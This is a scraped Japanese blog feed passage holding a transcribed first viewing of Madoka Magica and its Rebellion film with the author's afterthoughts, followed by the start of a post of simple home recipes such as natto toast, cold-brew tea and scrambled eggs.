だったのかな。\nごめん、考えてた話聞いてなかった。なんだって？ キュゥべえ。\n※私もほむらちゃんの服装の可愛さに気を取られて聞いてなかった。\n何かよくわからんけど、要はほむらちゃんの魔法少女の力自体がかなり性質として魔女に近いものだから、羽化する前に……みたいな話になってる？\nいや、今聞いてなかった。うん、聞いてなかったところ、今が頑張って補完しましたから、多分違うと思う。\nフィールドに遮断したのは誰ですか？\nちゃんと話し聞いてても何言ってるかよくわかんないな。多分、一を聞いてなかったのは致命的でしたね。まあ、後で聞きましょう、流れが悪くなるから。\n※こんな意味不明な支部に送られちゃった地球担当のインキュベーターかわいそう。\n鹿目まどかは、潜り込んだはいいけど、力を振るえないことになってたってことか。なるほど。\nまあ、確かに堂々巡りではあるよね。ここで何が起こってもエネルギーとして回収できるわけではないし。でも、この喋ってる方のインキュベーターの、そう狙いは、それによっ てエネルギーを云々みたいな利益がありそう。\n今、円環の理と呼ばれているまどかは今どこにいるんだろう。じゃあ、あのなんかすごい大きいまどかはイメージってことですか、どこにもいないってことは？\nなるほど。まあ、大きいまどか自体、私が知ってるだけでまだ出てきてませんしね。\nわざと爆発させて、まどかのもとに行こうとしてる。\n※感情とかわかんないのに超頑張って説得してるキュゥべえ、ちょっとカワイイ。\n今はもう爆発というか、ソウルジェムが割れる前に内部で魔女になっちゃったから、割れたところで救済はできないってことですか、なるほど。\nで、魔女として羽化してしまったら、鹿目まどかという存在を、ちょっとよくわかんないけど、なぜかキュゥべえたちが観測できることになるから。それを止めるために割らずに ソウルジェムの中で魔女になってしまおうという気持ちになっているということかな、今。\nよかった。ちょっと最初の方の説明は後でもう1回ちゃんと聞きます。\nほむらちゃんの家にあった謎の振り子。リボンが付いてる。\nどうなるんだ、ソウルジェムの中で魔女になったら死ぬっていう理屈はよくわからないけど、死ぬんだとしたら死んだ後はどうなるんだ。\n※あっ、主人公サイドが入れ替わりそうでいいですね！\nそうだ、まどかが救いを拒んでお前の願いを達成不能にしたなら、お前が救いを拒んで他の連中を振り回す権利があるぞ、暁美ほむら！\nこの曲も知ってる。\nだからまあ、この世界ではない本当のテレビバージョンの世界の何らかの謎の厄災として表し、何らかの魔法少女か何かに倒されるっていうことになるのかな、多分。\nやっまり、鍵になるのは何やらわけ知りな……青い髪の子だと思う。青い髪の子が一生名前覚えられない。さやかちゃん。\n※首取れたマミさん一緒にミキサーに掛けなかった？\nそういえば、さっきの女の子なんだったんだ？いつの間にか人間体から、まあ、お菓子の魔女形態に戻ってたけど、また人間体になった。\nさやかちゃんがなんか魔女化した自分を使いこなしている感じがしますね。\nテレビバージョンの方のまどかちゃんから派遣されてきたって感じなのかな。\nあのお菓子の魔女も吸収された魔女の一人だったはずなので。\n※あっ超聞き覚えがある曲……！ kalafinaが流れるだけでクライマックスであることが分かる。\nこれ解決するにはどうするんだ？ まず殻を破って。でも、殻を破ったらインキュベーターがまどかちゃんの……ですよね。\nから、ただ今、外に向けて撃って空を割ろうとしているのは、明らかに殻を割ろうという意志が見えるんですけど、なんか、また別の意図があるのかなぁ。\nなんか春の悪魔がいきなり現れた。なんか見覚えのある悪魔が、一羽のなんかケセランパセランの悪魔みたいなやつとかもいる。日が生えたケセランパセランの悪魔。\nお菓子が好きだと思ってたけど、チーズも好きだったんだね。ベベはベベ、今、自分のことをなぎさって言ってたかな。本名がなぎさなんですよね。\nそう考えると、なんか最初から結構バレエモチーフがあったし、今のほむらちゃんっぽい、まあ兵隊、兵隊なのかな、まあ魔女もなんか踊ってるし、ほむらちゃんはダンスの経験 がおありになるんですかね。\nうん、明らかに何かが割れていってるけど、殻自体終わってるわけじゃないんだろうね。それしちゃったら大変だから。ああ、キュゥべえが見てる。\n（救いに来たまどか） 何の世界？ ひとりぼっちでほむらちゃんにだけ自分の記憶を残してこの現実世界に置いてきたのってまどかじゃん。ひとりぼっちにしたのは多分まどかだよ。\n※そうだそうだ、と私も言っています。\n「あれを壊せばインキュベーターの干渉を受けずにまどかに会える」って言ってたから、インキュベーターの結界を壊さずに羽化するのはダメだけど、結界自体を壊せばいいって ことなのかな、多分。\nだから割るは割るけど、結界ごとぶち壊していくってことか。ぶち壊しましたね。\n（チャプター5）\n※円環の理って、正式な用語だったんだな、とずっと思っています。マミさんがカッコつけて言ってるだけだと思ってた。\nここに残った世界は一体どうなるんだろう。消えちゃうのかな。え、ここ現実？ あ、ソウルジェムが。じゃあ、ここにいる杏子さんとマミさんって？\nあれ、生きてるんだ？ あれ、マミさんはさすがに死んだんじゃないですか？\nもう1回後で聞きます。もう一周はさすがに体力が厳しすぎる。\nあ、不穏。まどかを止めるのが、みたいな決心をしてたから、もしかして円環の座から引きずり落とすのが真の目的ですか？\nこれ、ここ本当に現実ですか？ まだあの2人いますけど。\nあ、なるほど。いや、現実って言われたので、本当に現実世界に生きているのかと思ってびっくりしました。テレビバージョンの。\nまあ、ほむらちゃんのやりたいことは終始一貫してますよね。アニメバージョンの一話から一貫してたから納得はできる。\nなんか謎の糸か何かが落ちていったけど、あれは何のメタファーなんだろう。口からソウルジェムが出た！\n妙に描写がリアルで怖かった。ちょっとなんか謎のソウルジェムっぽくない形だったな。今の。\nこの世界を書き換えているんですか？ また新しい概念を誕生させているんですか？\nまあ、ほむほむに何かを、世界を改ざんする力があるとは思えないから、まどかの力を借りたのかな。わあ、口の中が黒い。\nなんかすごく感動的な音楽は流れてるけど、誕生しようとしているものは結構禍々しいものに見えるけど、本当にこれでいいんですか？\nなんか予想外の展開でインキュベーターが諦め始めた。\n飼いならされてる、インキュベーターが悪魔に飼いならされてるよ。\n今、桜にさらわれて消えていったのは誰だろう。あのベベの変身後の姿のやつかな。\n今、歩いていったのは、自分の魔女世界の、ほむらの魔女世界のところにいた人たちかな。\nなんですか、この世界は。まあ、そんな描写でしたよね。人間としてのまどかと魔女のまどかを分離したみたいな。めちゃめちゃロールシャッハ。\nああ、どんどん影響力が。だいぶ今のところバッドエンドっぽいけど大丈夫か、あと12分しかないけど大丈夫か。\n魔女の印自体はずっとそのままなんだ。\n（転校生まどか） あ、また半熟が好きな男性をディスる教師がいる。逆にかなめさんが転校生になってやってきたし、リボンの色が違う気がする。確かアニメで黄色と赤どっちにしようか迷ってま したもんね。\n代わりにほむほむが赤いリボンを巻いてるんだ。「なんだか小学生みたい」は褒めてはないかも。\n逆の立場になったね。逆の立場ではないか。転校生としては逆の立場だけど、一話はこんな感じだった。逆ではなく。\n三年も、か、三年しかなのかわかんないけど、三年経ったんだね。\nでも逆に言うと、一人ぼっちのまま三年耐えたんだ、テレビ版の後のほむらちゃんは、なるほど。\nまあ、実際三年いなかっただろうし。まあ、この世界としても三年いなかったことになってたから。二つの意味かな。だいぶ脆い世界だな、ここは。\n※ずっと赤いリボン似合わねえなほむらちゃんと思っていたことは白状しておきます。\nアニメ版の一話と比べて、質問の内容が物騒すぎる。\nポッキーが舞ってる。ロッキーだったね。ロッキーが待ってる。\nああ、引っ越してきたからダンボールが多い。（ここでUnigiriの感想は終了）\n※すげえ聞き覚えのあるED。ボロボロにされるまで仕事させられたキュゥべえ、カワイイですね。\n個人的に、テレビ版で何か強制的に救いを拒まれて舞台を降ろされたほむらちゃんが再び主人公として舞台に上がれたのですげえハッピーエンドに見えています。\n救いってのは誰かに与えられるものじゃないぞ！\nカルメンチェックに失敗してすごい勢いでねじれそうになったけど、ギリギリ開花E.G.Oが発現したみたいな話だった。\n私個人としては、15年越しにちゃんと物語が完結した気がするけど、テレビ版から数年してこれがお出しされて混乱した人も結構いそう。\n同時視聴後、改めての感想 以上が同時視聴当時の感想でした。\n改めて読むとすごい量ですね。すごいな、本編を観ながらこれを喋った私もそれを書き起こしたpestさんも。\nここでは視聴当時に詳しく話す時間が無かったことや、視聴後数日経ち改めて考えたことを書きます。\n恋バナ まずさやかちゃんの株がうなぎのぼりでした。ネタバレだけ聞いて「ああ、この子は好きな人に好きだと伝えなくても勝手に相手が好いてくれると思い込むタイプの頭お花畑恋愛 タイプの子なんだな」と思って事前に株が下がりまくってたからです。\nそんなことなかったね！！！！！！本当にごめんねさやかちゃん！！！！！自身が動く死体になってしまったのを重く受け止めて、自ら身を引いたんだね\u0026hellip;\u0026hellip;全然お花畑 じゃなかったね\u0026hellip;\u0026hellip;。\nまた、仁美ちゃんの株もプチ上がりしました。さやかちゃんの想いを知りつつも横取りした泥棒猫ちゃんかと思っていたからです。\n告白前にそのことをさやかちゃんに伝えて時間的猶予を与えるとか、めっちゃ仁義通してるじゃん！！！ごめん、第1話で存在自体を忘れてこのウェーブ髪の子誰？って言っちゃ って\u0026hellip;\u0026hellip;。\nところで私が恋バナでこれだけ盛り上がれることを知って自分でびっくりしています。最近CoCで継続PCを回しまくった時に薄々気付きかけてたけど、やっぱりそうなんだ。\n最終話のまどかの行動の是非 これは主張自体は今も同じままですが、ちょっと補足させてください。\n魔女になる直前に円環の理に導かれるということは、そうなるまでにグリーフシードが濁りまくって呪いという名の負の感情が溜まっていますよね。\nでは、負の感情が溜まりすぎて限界になった時にいきなり知らない女の子が現れて「よく頑張ったね。私が救ってあげるよ」と言ってきても、返しとしては「あなたに私の何が分 かるんですか？あなたが赦しても私の中の負の感情は1ミリも減りませんよ？」という感じになるんじゃないでしょうか。少なくとも私がその立場になったらそうなると思います 。\n自分の中の負の感情は、自分の中で時間をかけて処理していくか、忘れるか、思いっきり暴れて解消させるしかないと考えています。\nなので魔女として暴れて解消するという選択肢を強制的に奪うまどかの選択は、私にとって受け入れ難いものでした。\nあとはもちろん同時視聴中に言ったとおり「どうせだったら自我を失って責任放棄した状態で暴れまわりたいよなあ〜〜〜〜〜！！！！」というハジけた思いもあります。\nでもまあ、まどか☆マギカの世界の女の子はどんな状態になっても他者を傷つけたくなくない子が大半みたいなので、あれでよかったんじゃないでしょうか。ほむらちゃんを除い ては。\n魔法少女まどか☆マギカという物語の主役は誰なのか これは全てを観終わった人なら主にまどか or ほむらで迷うところだと思うんですが、初見の状態では明らかにまどかです。オープニングにたくさん映ってますし、そもそもタイトルに名前が含まれていますし。\n少なくとも私はそういう視点で観ていたんですが、この視点で考えた時、TV版はハッピーエンドで叛逆の物語は蛇足でした。\n平凡で自分の存在意義に悩んでいるまどかが自らの願いを手に入れるまでの物語で、ほむらは最大の理解者かつ最大の障害です。\nTV版でせっかく願いを手に入れてまどかにとってのハッピーエンドになったのに、叛逆の物語が作られたばっかりにそのエンドに傷がついてしまいました。\nただし、この物語の主役をほむらだとした時、TV版では明らかに話が不足しています。\n魔法少女になるのを止めてほしいとまどかに言われて時を戻しながら頑張ったのに、言ったその本人によってその願いが達成不可能になり、しかもその本人は円環の理となって勝 手にどこかへ行ってしまいました。\nこの最終回ではほむらがあんまりです。何一つ救われていません。\nこの視点で考えると、叛逆の物語は必要でした。結果的に救われたかは不明ですが、円環の理に対して一矢報いることはできました。\nただ、う〜ん\u0026hellip;\u0026hellip;こんな話をしている時点で私は物語の主役を1人に決めて観る癖があり7、それを前提として話すんですが、この物語の主役はまどかだと思いま す。だってまどか☆マギカだし。\nキャラクターの思考として理解できるのは圧倒的にほむらですし、最終話のまどかの行動に対して色々書きはしましたが、それでもやっまりまどかが主役であるところの魔法少女 まどか☆マギカはTV版で終わるのが一番綺麗だった気がします。\n劇場版は魔法少女ほむら★マギカという名前だったら手放しで受け入れられました。これは完全にほむらちゃんの物語です。\nおわりに なんだか最後にあんまりポジティブではない感想を言ってしまいましたが、全体的にとても面白かったです！\nTV版と劇場版を1日で一気見できるくらい面白かったです。\n同時視聴しようと言われなければ劇場版まで観ることはなかっただろうと思うので、機会をくださったダムさんと海乃さんに感謝です！\nそしてpestさんにも感謝です！書き起こしてくれる人がいなければ、この記事はここまで充実したものにはならなかったでしょう。\n様々な人の力をお借りしてできた記事なので、箪笥等で是非感想をいただけるととてもうれしいです。\n私の感想に対する批評も大歓迎です。あんまりメジャーではない感想だと思っているので、皆さまの反応がとても気になります。\nでは、感想記事にお付き合いいただきありがとうございました！\n明日は七夕うさぎんと他100万人さんのﾇﾝです。\n[Amazon Prime Videoで配信されているもの](https://www.amazon.co.jp/gp/video/detail/B0 FC9YYNWQ/)を観たので厳密にはTV放映時バージョンなのかDVD・Blu-ray収録バージョンなのかは不明ですが、それを確かめるすべは私にはありません。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nこの発言は実際には正確ではなく、数話は観ています。詳しくは後述します。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n最近狩野英孝さんが番組としてまどマギ同時視聴をしているみたいですね。その流れもありました。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nもちろん有償で依頼しました。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nここで言及しているイラストは鹿目まどか役の悠木碧さんが描いたもので、その点について謝っています。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n🤓\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n(！！！進撃の巨人のネタバレ注意！！！) この癖が災いして、進撃の巨人は最後の数話まで「それで、この物語の主人公であるエレンはどうしたらハッピーエン ドになるの？」と考えて頭がはてなになっていました。ちょっとそれは難しいかな\u0026hellip;\u0026hellip;。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/thoughts-on-puella-magi-madoka-magica/","summary":"\u003cp\u003eみなさま5日ぶりにこんにちは！Unigiriです。\u003cbr\u003e\nこの記事は\u003ca href=\"https://adventar.org/calendars/11414\"\u003e卓ゲ箪笥 Advent Calendar 2025\u003c/a\u003e17日目の記事です。\u003c/p\u003e\n\u003ch2 id=\"事の始まり\"\u003e事の始まり\u003c/h2\u003e\n\u003cp\u003e先日、魔法少女まどか☆マギカのTV版\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e+叛逆の物語を\u003ca href=\"https://tablegame.mstdn.cloud/@dam14F\"\u003eダム14F\u003c/a\u003eさんと\u003ca href=\"https://tablegame.mstdn.cloud/@miko_apple\"\u003e海\n乃\u003c/a\u003eさんと共に視聴しました。\u003cbr\u003e\n確か曜日固定で開催している\u003ca href=\"https://www.malstrom.co.jp/liminal/\"\u003eLiminal\u003c/a\u003eキャンペーンの後になぜか、いや今思い出した\n、\u003ca href=\"https://manosaba.com/\"\u003e魔法少女ノ魔女裁判\u003c/a\u003eの話をしていた流れでダーク魔法少女モノの話から「私まどマギ観てなくて〜」\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003eみたいな話\n題になった気がします。\u003cbr\u003e\nまあ流れは重要ではないのです。\u003c/p\u003e\n\u003cp\u003eとにかく私がまどマギを観ていないということで、既に視聴済みの2人からおすすめされて放送から14年経った今観ることになりました。\u003cbr\u003e\nそして、せっかくなので初視聴の感想をアドカレとして出そうということになりました。\u003cbr\u003e\n初視聴の人の感想はいくら摂取しても美味しい、私もオタクとしてよく分かります。\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eということで、\u003cstrong\u003eこの記事は魔法少女まどか☆マギカの重大なネタバレを含みます。\u003c/strong\u003e 未視聴の方はご注意ください。\u003c/p\u003e\n\u003ch2 id=\"では同時視聴の様子を録音した406分の音声ファイルを渡しますので各自お楽しみくださいね\"\u003eでは同時視聴の様子を録音した406分の音声ファイルを渡しますので、各自お楽しみくださいね\u003c/h2\u003e\n\u003cp\u003e\u0026hellip;\u0026hellip;なんてことをしても現代社会を生きる忙しい皆様方には難しい。想像に難くありません。\u003cbr\u003e\nなので\u003ca href=\"https://tablegame.mstdn.cloud/@YTakanashi\"\u003epest\u003c/a\u003eさんに依頼し\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e、全て書き起こしていただきました。\u003cbr\u003e\nこの記事におけるMVPは間違いなくpestさんです。本当にありがとうございました！！！\u003c/p\u003e\n\u003cp\u003eというわけで、ここからは書き起こしていただいた内容となります。\u003cbr\u003e\nなお、読む際は以下の点にご留意ください。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e私はさやかちゃんのソウルジェムが濁っていくあたりまでは視聴済みです。また、インターネットからネタバレを結構受けています。\u003c/li\u003e\n\u003cli\u003e括弧で書かれている部分は、本編のどの部分に対しての感想かを分かりやすくするための、pestさんによる補足です。\u003c/li\u003e\n\u003cli\u003e書き起こしには私の声しか含まれていません。何かに相槌を打つようなコメントは基本的にダムさんか海乃さんに対してのものです。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"魔法少女まどかマギカ-tv版\"\u003e魔法少女まどか☆マギカ TV版\u003c/h2\u003e\n\u003ch3 id=\"第1話\"\u003e第1話\u003c/h3\u003e\n\u003cp\u003e（開始・導入）\n始まった。もう早速イヌカレー空間な感じがする。\u003cbr\u003e\n意外と覚えてないな。そっか、最初こういうシーンだっけな。数年で済むんですか？　あれ、15周年みたいな話でしたっけ？　確か。ですよね。そうかあ。\u003cbr\u003e\nあれ、これってエンディングの曲ですよね？　途中からこのエンディングが流れた記憶があったんですけど、1話から実は流れてたんだ。\u003cbr\u003e\nでもこれ。なんのシーンなんだこれ。\u003cbr\u003e\n騙されるな。キュゥべえはそうやってそそのかすことしかしないんだ。\u003cbr\u003e\n悪い夢だったんだな。良かった良かった。\u003c/p\u003e\n\u003cp\u003eまあでもこう見ると、今のところ15年前のアニメとは思えない出来ではありますね。確かにうめ先生の絵柄は、まあ、トレンドというよりも独自のあれだから。\u003cbr\u003e\nうんうん。ああ、なんか、ClariS、結構いろいろ変わりながらずっと続いているみたいなのは、私も聞いたことあります。\u003cbr\u003e\nなんでしたっけ、THE FIRST\nTAKEとかに今となっては出てますよね、ClariS。へえ、増えたんだ。珍しいですね。減るのはよくあるんですけど、増えるのは。\u003cbr\u003e\nリトグリ……リトグリを知らない。\u003c/p\u003e\n\u003cp\u003e（鹿目家の描写）\nなんでこんな椅子いっぱいあるの。お母さん、こんなだったか。ああ、そうか。お父さんの方が家のことやってみたいな家庭だったかな、確か。ですね。\u003cbr\u003e\nまあ、まずアニメだと他では見ない家庭環境でしたね。かっこいい。15年前はなかったかも。\u003cbr\u003e\nパンで受け止めてる。ナイス反射神経。\u003c/p\u003e\n\u003cp\u003e（志筑仁美登場）\nこの年代のシャフトアニメあるあるだけど、家がだだっ広い。あるあるですねえ。左の子、言われてみればいたかも。いたっけ。誰だっけ？ このウェーブ髪の子。\u003cbr\u003e\nそうですね。なんなんでいないんだろう。すぐ消えちゃうのかな。\u003c/p\u003e\n\u003cp\u003e（教室の描写）\nこの明るい雰囲気が一体何話続くんだろう。一時期流行ったよな。流行ったというか、最先端とされていたような、こういうガラス張りの開放感のある教室。\u003c/p\u003e\n\u003cp\u003e（暁美ほむら登場）\n美人かそうじゃないかの区別は私にはつかないな。この絵柄だと。雰囲気はすごい美人。\u003cbr\u003e\nえー、どっから来ましたとか、科目は何が得意ですとかとそういう。\u003cbr\u003e\n猫かぶってる時の戦場ヶ原ひたぎの声がする、ほむらから。なんで知ってるの？ 保険係なの。\u003cbr\u003e\nあ、よく突っ込んでくれた。案内不要。保健室の、なんで付き添った。\u003cbr\u003e\nきっと、多分、見取り図は壁に貼ってるだろうし。あ、名前のこと言われるのは地雷ですか。\u003cbr\u003e\nめちゃめちゃ怒ってる。\u003cbr\u003e\nまあ、さすがに途中まで見たからわかりますよ。魔法少女になるなって意味であることぐらいは。\u003c/p\u003e\n\u003cp\u003e（キュゥべえ登場）\nあ、キュゥべえ。いや、さすがに15年前にブルマはもう。\u003c/p\u003e\n\u003cp\u003e（友人3人での会話）\nこの3人、何関係で仲良くなったんだろうなぁ。もう、ここからひどいことしか起こらないことわかってるから、今のうちにそっちの方が気になる。\u003cbr\u003e\nああ、部活。ここで飲食してるってことは、部活は入ってないかも。中学二年生でしたっけこの人たち。高校ではないですよね。\u003cbr\u003e\nなんか今このウェーブの、仁美ちゃんがもうすぐ受験だというのにって言ってたから一年ではないのかな。早い人は一年から勉強しますけど。\u003cbr\u003e\nそうですね。どっちにしろ高校じゃなければ確かにご近所さんでもおかしくないですね。\u003cbr\u003e\nおお、中二か。まあ、いい年齢ですよね。魔法少女に中二。\u003cbr\u003e\nまあ、なんか、いわゆるマスコットポジが助けを求めてみたいなのは、わりかし日朝ではあるあるな気がしますね。そうですね。『ヒーリングっど♥』は確かそうだったし。うん\n。\u003c/p\u003e","title":"魔法少女まどか☆マギカ 同時視聴感想書き起こし+改めての感想"},{"content":"みなさまこんにちは！Unigiriです。 この記事は卓ゲ箪笥 Advent Calendar 202512日目の記事です。 11日目はdam14Fさんのぬの匿名欄のシナリオについてでした。このシナリオは私も参加しましたが、とても楽しかったです！\n毎年書いている語る記事シリーズも今回で3つ目となりました。1 ある程度語れることがいくつかある人生でありがたいことです。\n今年はタイトル通り、好きな料理レシピについての記事です！ あんまり自炊をしない方々もぜひ読んでみてください。これレシピって言うほどか\u0026hellip;\u0026hellip;？みたいなものもあります。お湯を注ぐだけの葛湯とか。\n料理と私 これは前座です！レシピを見たい人はこの先へスクロールしてください。\n私の料理歴は大学1年生の一人暮らしから始まりました。つまり19歳からです。2 当時の私は諸事情により学食とコンビニ飯以外の外食があまりできず3 、必然的に自炊を始めざるを得ませんでした。\n実家ではお米を炊いたり味噌汁に味噌を入れて味を決めたりゆで卵を作ったり餃子を包んだりなど母親のお手伝い程度のことはしていましたが、しっかりとした料理はしていなかったため、きょうの料理ビギナーズを購読し料理の基本を学んでいました。 この雑誌は本当におすすめです！！マイナーな食材を使わないレシピが多いので使いやすいです。今ならネットで過去のレシピを読めます。\n当時は具体的に何を作ってたんだっけ……？バイト先で貰ったパンの耳を朝食にしていたのは覚えています。あとは一口コンロのキッチンで野菜を炒めたり味噌汁を作ったりしていました。\nその後社会人になりましたが、大学時代とほぼ同様の理由で相変わらず自炊はしていました。4 二口コンロのある家に引っ越し、自炊レベルは爆上がりです。休日におかずクレープを作って食べたりしていました。ちょっと浮かれすぎかも。 丼ものや一汁一菜以外の多彩なレシピに挑戦するようになったのは確かこのくらいの頃からです。\nその後はシェアハウスに引っ越して他の人の自炊っぷりを見るようになったり、母親と住んで一時期料理をあまり作らなくなったり、チャッカマンで火をつけるタイプの古風かつ本格的な業務キッチンが備わっているシェアハウスに再度引っ越したりしましたが、なんやかんや自分で自分のご飯をある程度は作り続けています。\nこの記事は、そんな私が好きでよく使っているレシピの詰め合わせです。\nレシピにおける難易度の定義 オタクすぐ定義から始める。まあちょっと一旦聞いていってください。\nこの記事は各レシピを難易度ごとにカテゴリ分けしています。 でも、料理をする時に何を難しいと思うか、または何を面倒くさいかと思うかって人それぞれですよね。 なので、ここにUnigiriが考える難易度の高いレシピの定義を記します。\n使用する食材の種類が多い 食材を加熱する過程が複雑 1についてはイメージしやすいと思います。 レシピを見ながらお買い物リストを作る時に食材が多いと、かかるお金・時間・手間・その他諸々を考えて「まあ見なかったことにするか\u0026hellip;\u0026hellip;」とレシピを閉じがちです。\n2については若干感覚的なものなんですが、一例としてはフライパンや鍋に入れた食材を一旦取り出す作業が挟まると面倒くさいな〜と感じます。 退避させた食材を置いておくお皿が必要なので洗い物が増えるし、なんかこう\u0026hellip;\u0026hellip;加熱したらそれで完成でしょ！って感覚になるんですよね。 チャーハンを作る時に最初に卵を加熱して別皿に置いておく、ローストビーフを作る時にフライパンで加熱してからオーブンで焼くなどが該当します。\nこの記事では、これらに該当するようなものを難しいレシピとしています。5 要は、ここでの難易度カテゴリは万人に当てはまるものではないので参考程度にしてねということです。\n易しめレシピ 卵かけめかぶ納豆ごはん タイトルが全てです！炊いた白米に卵とめかぶと納豆をぶっかけます。 小ねぎや白ごまや刻み海苔があれば、仕上げに散らすとなお良しです。\nめかぶが入っているというのがミソで、緑の食材が入ることでちょっとは健康に気を使っている気持ちになれます。少なくとも食物繊維は摂れます。 市販の味付きめかぶパックが一番お手軽ですが、納豆のタレと合わさってちょっと味が濃くなってしまうので、個人的には味がついていないものがおすすめです。 どちらにせよめかぶはあまり日持ちしないので、買ったら早めに食べると良いでしょう。\nなお、流動食的な食べやすさに反して腹持ちは結構良いです。6 多すぎると思った時は納豆か卵を抜くのがおすすめです。\nレシピ: なし (簡単すぎて不要)\n納豆のせトースト また納豆です。納豆大好き。加工せず食べられるタンパク質源なので。 冷蔵庫の中に納豆を常備しているんですが、白米に乗せる以外の用途がいまいち思いつかないまま生きています。 小腹を満たすために納豆単体で食べることもあるんですが、それだと少々味気ない時に納豆のせトーストを作ります。\n作り方はトーストを焼く時に納豆を乗せるだけです。気が向いたら焼けた後に白ごまを散らすと料理をした雰囲気が増します。 食べる時に納豆をこぼさないようにだけ注意すると良いです。私はよくこぼしていますが\u0026hellip;\u0026hellip;。\nレシピ: なし (簡単すぎて不要)\n葛湯 葛湯がおいしい季節になりましたね。 市販の葛湯の素にお湯を入れて混ぜるだけですが、これも立派なレシピです。多分。 ちょっと小腹が空いたけど固形物を食べるほどじゃないな〜と思った時に飲んでいます。\n葛湯の素は色々な種類が売られていますが、今岡製菓の抹茶くず湯が特に好きです。\nレシピ: なし (簡単すぎて不要)\n水出し茶 一応お茶好きを名乗らせてもらっているんですが、それでもやっぱりお湯から淹れるのは面倒です。 お湯を沸かし、ポット2つとティーカップを取り出し、湧いた湯を各器に入れて温め、茶葉を計量し、ポット1でお茶を蒸らし、蒸らし終わったお茶をポット2に注いでこれ以上濃くならないようにし、ティーカップにお茶を注ぎ、ポット2にティーコゼーを被せ\u0026hellip;\u0026hellip;どう考えても余計なこだわりで手間を増やしていますね。大人しくティーバッグを使ったほうがよいです。\nともかく、お湯からお茶を淹れるのはそれなりの手間がかかります。あと夏は熱いお茶を飲みたくないです。 そんな時にとても便利なのが水出しのお茶です。\n紅茶でもハーブティーでも中国・台湾茶でもいいので、ティーバッグに10g入れたものを1Lのお水に入れて冷蔵庫内で放置するだけ。 ティーバッグは100均で売っています。茶葉をティーバッグに詰めるのが面倒であればむぎ茶バッグでも可です。 放置する時間は好みによりますが、私はむぎ茶なら3時間、それ以外は8時間程度放置しています。\nみんなもお茶をがぶがぶ飲んで水分不足を防止しよう！カフェインが気になるならルイボスがおすすめです！歯への着色はどうしようもないので諦めて定期的に歯医者に行きましょう\nレシピ: なし (簡単すぎて不要)\n博士ちゃんの塩ラーメン サンドウィッチマン\u0026amp;芦田愛菜の博士ちゃんというテレビ番組で紹介されたレシピです。 その名の通り塩ラーメンなんですが、5種類の調味料を丼に入れてお湯を注ぐだけでラーメンスープが完成するのが大きな特徴です。 最初に調味料を調達するのだけが手間ですが、それらを常備していればいつでもラーメンスープを作れるのが心理的に大変良いです。 なお、トッピングを準備する手間はレシピ難易度に含めていません。お好きな具材をお乗せください。\n手軽なわりにとても美味しいんですが、レシピ通りにスープを作ると塩分量が大変多くなります。7 気になる方は塩を少なめにしたほうがよいでしょう。完飲はまずおすすめしません。\nレシピ: 博士ちゃん直伝！【激ウマ塩ラーメン】作ってみた「サンドウィッチマン絶賛」「超簡単！小学生でも楽勝」自宅ラーメン最高峰 | くふうロコ仙台with東北電力フロンティア\nトマトだけのスパゲッティ 材料はトマト、パスタ、塩、オリーブオイル、以上！ これが簡単なわりに美味しくて、ここ1年間はパスタといえばこれかペペロンチーノばかり食べています。 パスタを茹でる鍋とソースを作るフライパンで大きめの洗いものが2つ発生することだけがネックです。パスタをレンジで茹でられる容器を導入すれば更に楽になるでしょう。\nレシピの写真では分量外の乾燥パセリがさり気なく散らされていますが、あるのと無いのでは色どりに大きな差が出るので、あれば使っておくのがおすすめです。\nレシピ: Ｘでバズってた「トマトだけのスパゲッティ」がメチャクチャ美味い！簡単に作れてコスパも抜群だった - Togetter\nスクランブルエッグ これはとてもおすすめのレシピです！！！！！全人類一回は試してほしいです。 私が文字で説明するより写真で見ていただいたほうが早いので、まずはレシピをご覧ください。\nこれ！このとろとろ具合！！パンと一緒に食べる時にちょうどよい水分量なんですよ！！！ ポイントはフライパンではなく鍋を使い、弱火で加熱する点です。ゆっくり加熱しながら液体と固形の中間地点を狙っていきます。 時々とろとろを求めすぎてほぼ液体になったりしますが、それも美味しいのでまた良しです。\n加熱に少々コツが要るので易しめカテゴリの中では難しめですが、作る価値はあります。 瀬田さん、きょうの料理ビギナーズにこのレシピを載せてくださり本当にありがとうございます。\nレシピ: 基本のスクランブルエッグ レシピ 瀬田 金行さん｜みんなのきょうの料理\n普通めレシピ 茹で野菜 茹で野菜って意外に作るのが面倒です。茹でるだけだけど、なんか腰が重くなるというか。今すぐに使うわけじゃないから億劫というか。 なので、ここでは普通めの難易度にしています。\nただ、重い腰を上げて茹でると本当に頼りになる味方になります。 ブロッコリーを茹でておけばお手軽に野菜をプラスできますし、ほうれん草を茹でておけば醤油と合わせていつでもおひたしもどきを食べられます。 野菜の摂取量を増やすためにも常に何種類か用意したいところです。\nなお、茹で野菜に限らず食材の保存方法はニチレイフーズのほほえみごはんが大変参考になります。 私はニチレイフーズに頭が上がりません。いつもありがとうございます！\nレシピ: 野菜のゆで方 | ほほえみごはん-冷凍で食を豊かに-|ニチレイフーズ 食材の冷凍 | ほほえみごはん-冷凍で食を豊かに-|ニチレイフーズ\n茹で鶏 野菜の次は鶏を茹でます。茹でたらなんでも消費期限が延びると思っている節がある。 一度茹でておけば、食べたい時に食べたい分だけ切って口に入れるだけで良い感じのタンパク質源になるので好きです。8 